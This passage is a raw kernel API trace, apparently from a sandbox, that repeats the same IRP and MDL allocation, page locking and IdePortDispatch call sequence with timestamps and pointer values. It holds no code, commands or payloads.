Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.236] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.236] IdePortDispatch () returned 0x103 [0057.237] KeWaitForMutexObject () returned 0x0 [0057.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.237] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.237] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.237] IdePortDispatch () returned 0x103 [0057.237] KeWaitForMutexObject () returned 0x0 [0057.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.237] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.237] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.237] IdePortDispatch () returned 0x103 [0057.237] KeWaitForMutexObject () returned 0x0 [0057.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.237] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.237] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.237] IdePortDispatch () returned 0x103 [0057.237] KeWaitForMutexObject () returned 0x0 [0057.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.238] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.238] IdePortDispatch () returned 0x103 [0057.238] KeWaitForMutexObject () returned 0x0 [0057.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.238] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.238] IdePortDispatch () returned 0x103 [0057.238] KeWaitForMutexObject () returned 0x0 [0057.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.238] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.238] IdePortDispatch () returned 0x103 [0057.238] KeWaitForMutexObject () returned 0x0 [0057.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.238] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.239] IdePortDispatch () returned 0x103 [0057.239] KeWaitForMutexObject () returned 0x0 [0057.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.239] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.239] IdePortDispatch () returned 0x103 [0057.239] KeWaitForMutexObject () returned 0x0 [0057.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.239] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.239] IdePortDispatch () returned 0x103 [0057.239] KeWaitForMutexObject () returned 0x0 [0057.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.239] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.239] IdePortDispatch () returned 0x103 [0057.240] KeWaitForMutexObject () returned 0x0 [0057.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.240] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.240] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.240] IdePortDispatch () returned 0x103 [0057.240] KeWaitForMutexObject () returned 0x0 [0057.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.240] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.240] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.240] IdePortDispatch () returned 0x103 [0057.240] KeWaitForMutexObject () returned 0x0 [0057.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.241] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.241] IdePortDispatch () returned 0x103 [0057.241] KeWaitForMutexObject () returned 0x0 [0057.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.241] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.241] IdePortDispatch () returned 0x103 [0057.241] KeWaitForMutexObject () returned 0x0 [0057.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.241] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.241] IdePortDispatch () returned 0x103 [0057.241] KeWaitForMutexObject () returned 0x0 [0057.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.242] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.242] IdePortDispatch () returned 0x103 [0057.242] KeWaitForMutexObject () returned 0x0 [0057.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.242] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.242] IdePortDispatch () returned 0x103 [0057.242] KeWaitForMutexObject () returned 0x0 [0057.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.242] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.242] IdePortDispatch () returned 0x103 [0057.242] KeWaitForMutexObject () returned 0x0 [0057.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.242] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.242] IdePortDispatch () returned 0x103 [0057.243] KeWaitForMutexObject () returned 0x0 [0057.243] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.243] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.243] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.243] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.243] IdePortDispatch () returned 0x103 [0057.243] KeWaitForMutexObject () returned 0x0 [0057.243] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.243] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.243] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.243] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.243] IdePortDispatch () returned 0x103 [0057.243] KeWaitForMutexObject () returned 0x0 [0057.243] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.243] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.243] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.243] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.243] IdePortDispatch () returned 0x103 [0057.244] KeWaitForMutexObject () returned 0x0 [0057.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.244] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.244] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.244] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.244] IdePortDispatch () returned 0x103 [0057.244] KeWaitForMutexObject () returned 0x0 [0057.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.244] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.244] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.244] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.244] IdePortDispatch () returned 0x103 [0057.244] KeWaitForMutexObject () returned 0x0 [0057.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.244] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.244] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.244] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.244] IdePortDispatch () returned 0x103 [0057.245] KeWaitForMutexObject () returned 0x0 [0057.245] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.245] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.245] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.245] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.245] IdePortDispatch () returned 0x103 [0057.245] KeWaitForMutexObject () returned 0x0 [0057.245] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.245] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.245] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.245] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.245] IdePortDispatch () returned 0x103 [0057.245] KeWaitForMutexObject () returned 0x0 [0057.245] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.245] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.245] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.245] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.245] IdePortDispatch () returned 0x103 [0057.245] KeWaitForMutexObject () returned 0x0 [0057.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.246] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.246] IdePortDispatch () returned 0x103 [0057.246] KeWaitForMutexObject () returned 0x0 [0057.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.246] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.246] IdePortDispatch () returned 0x103 [0057.246] KeWaitForMutexObject () returned 0x0 [0057.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.246] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.246] IdePortDispatch () returned 0x103 [0057.246] KeWaitForMutexObject () returned 0x0 [0057.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.247] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.247] IdePortDispatch () returned 0x103 [0057.247] KeWaitForMutexObject () returned 0x0 [0057.247] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.247] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.247] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.247] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.247] IdePortDispatch () returned 0x103 [0057.247] KeWaitForMutexObject () returned 0x0 [0057.247] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.247] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.247] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.247] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.247] IdePortDispatch () returned 0x103 [0057.247] KeWaitForMutexObject () returned 0x0 [0057.247] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.247] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.247] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.247] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.247] IdePortDispatch () returned 0x103 [0057.248] KeWaitForMutexObject () returned 0x0 [0057.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.248] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.248] IdePortDispatch () returned 0x103 [0057.248] KeWaitForMutexObject () returned 0x0 [0057.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.248] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.248] IdePortDispatch () returned 0x103 [0057.248] KeWaitForMutexObject () returned 0x0 [0057.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.248] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.248] IdePortDispatch () returned 0x103 [0057.249] KeWaitForMutexObject () returned 0x0 [0057.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.249] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.249] IdePortDispatch () returned 0x103 [0057.249] KeWaitForMutexObject () returned 0x0 [0057.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.249] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.249] IdePortDispatch () returned 0x103 [0057.249] KeWaitForMutexObject () returned 0x0 [0057.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.249] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.249] IdePortDispatch () returned 0x103 [0057.250] KeWaitForMutexObject () returned 0x0 [0057.250] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.250] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 